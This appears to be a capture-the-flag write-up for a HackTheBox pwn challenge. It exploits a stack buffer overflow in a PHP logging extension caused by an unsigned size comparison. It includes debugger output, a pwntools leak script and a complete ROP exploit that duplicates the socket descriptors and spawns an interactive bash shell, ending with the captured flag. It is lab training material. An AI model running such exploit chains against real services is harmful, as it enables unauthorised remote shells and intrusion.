

# SuperFast

## 1) Checked security

```
(vigneswar@VigneswarPC)-[~/Pwn/Superfast/pwn_superfast/challenge]
$ checksec php_logger.so
[*] '/home/vigneswar/Pwn/Superfast/pwn_superfast/challenge/php_logger.so'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

## 2) Checked the source code

```
C php_logger.c X
C php_logger.c
32
33 zend_string* decrypt(char* buf, size_t size, uint8_t key) {
34     char buffer[64] = {0};
35     if (sizeof(buffer) - size > 0) {
36         memcpy(buffer, buf, size);
37     } else {
38         return NULL;
39     }
40     for (int i = 0; i < sizeof(buffer) - 1; i++) {
41         buffer[i] ^= key;
42     }
43     return zend_string_init(buffer, strlen(buffer), 0);
44 }
45
46 PHP_FUNCTION(log_cmd) {
47     char* input;
48     zend_string* res;
49     size_t size;
50     long key;
51     if (zend_parse_parameters(ZEND_NUM_ARGS(), "sll", &input, &size, &key) == FAILURE) {
52         RETURN_NULL();
53     }
54     res = decrypt(input, size, (uint8_t)key);
55     if (!res) {
56         print_message("Invalid input provided\n");
57     } else {
58         FILE* f = fopen("/tmp/log", "a");
59         fwrite(ZSTR_VAL(res), ZSTR_LEN(res), 1, f);
60         fclose(f);
61     }
62     RETURN_NULL();
63 }
```

size and sizeof(buffer) are unsigned integers so we can overflow the buffer by having a larger size input

## 3) Tested it

```
vigneswar@VigneswarPC: ~  
Removing intermediate container 05d8ee6a432a  
--> 9fc307ed3be0  
Step 10/11 : USER ctf  
--> Running in e5e7b62570ba  
Removing intermediate container e5e7b62570ba  
--> adf544e52891  
Step 11/11 : CMD ["/web/start.sh"]  
--> Running in f8204c46ff2e  
Removing intermediate container f8204c46ff2e  
--> 723b799bf09c  
Successfully built 723b799bf09c  
Successfully tagged pwn_superfast:latest  
[Thu Aug 8 12:57:15 2024] PHP 8.1.8 Development Server (http://0.0.0.0:1337)  
) started  
Segmentation fault  
[Thu Aug 8 12:58:32 2024] PHP 8.1.8 Development Server (http://0.0.0.0:1337)  
) started  
[Thu Aug 8 12:59:35 2024] 172.17.0.1:58344 Accepted  
  
[0] 0:sh* "VigneswarPC" 18:29 08-Aug-24  
  
Attached; pid = 7  
Listening on port 5000  
Remote debugging from host 172.17.0.1, port 36612  
Remote side has terminated connection. GDBserver will reopen the connection  
.br/>Listening on port 5000  
Remote debugging from host 172.17.0.1, port 37060  
  
Child terminated with signal = 0xb (SIGSEGV)  
ctf@995efe0a0fc:/web$ gdbserver :5000 --attach $(pidof php)  
Attached; pid = 24  
Listening on port 5000  
Remote debugging from host 172.17.0.1, port 34524  
client connection closed  
^C  
ctf@995efe0a0fc:/web$ gdbserver :5000 --attach $(pidof php)  
Attached; pid = 24  
Listening on port 5000  
^[[ARemote debugging from host 172.17.0.1, port 33522
```

```
vigneswar@VigneswarPC: ~/Pwn/Superfast/pwn_superfast  
$ ls  
build_docker.sh challenge Dockerfile src  
  
(vigneswar@VigneswarPC)~/Pwn/Superfast/pwn_superfast  
$ curl 'http://127.0.0.1:1337/index.php?cmd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'  
-H "HTTP_CMD_KEY: 127.0.0.1" -I  
HTTP/1.1 200 OK  
Host: 127.0.0.1:1337  
Date: Thu, 08 Aug 2024 12:59:35 GMT  
Connection: close  
X-Powered-By: PHP/8.1.8  
Content-type: text/html; charset=UTF-8  
  
(vigneswar@VigneswarPC)~/Pwn/Superfast/pwn_superfast  
$ |  
  
aaa[...] "  
0x00007ffffdd339e0|+0x0028: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaa[...] "  
0x00007ffffdd339e8|+0x0030: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaa[...] "  
0x00007ffffdd339f0|+0x0038: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaa[...] "  
  
code:x86:64  
0x7f93201063af <decrypt+01fe> mov rax, QWORD PTR [rsp+0x60]  
0x7f93201063b4 <decrypt+0203> nop  
0x7f93201063b5 <decrypt+0204> add rsp, 0xb8  
→ 0x7f93201063bc <decrypt+020b> ret  
[!] Cannot disassemble from $PC  
  
threads  
[#0] Id 1, Name: "php", stopped 0x7f93201063bc in decrypt (), reason: SIGSEGV  
v  
trace  
[#0] 0x7f93201063bc → decrypt()  
(remote) gef
```

#### 4) Found a way to leak address with a partial write

[illegible]

```
#!/usr/bin/env python3

from pwn import *
import urllib

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("php logger.so")
```

```

context.binary = exe

io = remote('127.0.0.1', 1337)
payload = b'a'*152+b'\x40'

def send_payload(payload):
    payload = list(payload)
    for i in range(min(63, len(payload))):
        payload[i] ^= 1
    payload = urllib.parse.quote(bytes(payload))

    io.send(f'GET /index.php?cmd={payload} HTTP/1.1\nCmd-Key: 1\n\n'.encode())

send_payload(payload)

io.interactive()

```

## 5) Exploit

```

#!/usr/bin/env python3

from pwn import *
import urllib

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("php_logger.so")
php = ELF('php')
context.binary = exe

io = remote('83.136.252.57', 49509)
payload = b'-' .join([b'%p']*51)+b'\x40'
def send_payload(payload):
    payload = list(payload)
    for i in range(min(63, len(payload))):
        payload[i] ^= 1
    payload = urllib.parse.quote(bytes(payload))
    io.send(f'GET /index.php?cmd={payload} HTTP/1.1\nCmd-Key: 1\n\n'.encode())

# send_payload(payload)
# for _ in range(6):
#     print(io.recvline())
# php.address = int(io.clean().split(b'-')[-4].decode(), 16)-0x5900a3
# print(hex(php.address))
# io.clean()

php.address = 0x560765e00000
rop = ROP(php)
rop.call('dup2', [4, 0])
rop.call('dup2', [4, 1])
rop.call('dup2', [4, 2])
binsh = next(php.search(b"/bin/bash\x00"))
dashi = next(php.search(b"-i\x00"))
rop.call('exec1', [binsh, binsh, dashi, 0])

send_payload(b'a'*152+rop.chain())

```

```
io.interactive()
```

## 6) Flag

```
● L$ python3 solve.py
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
ctf@ng-1538796-pwnsuperfastbiz2022-osdff-8dbff64fd-88qpw:/web$ $ ls
ls
index.php
php_logger.so
start.sh
ctf@ng-1538796-pwnsuperfastbiz2022-osdff-8dbff64fd-88qpw:/web$ $ cat /flag.txt
cat /flag.txt
HTB{rophp1ng_up_th3_st4ck!}
ctf@ng-1538796-pwnsuperfastbiz2022-osdff-8dbff64fd-88qpw:/web$ $
```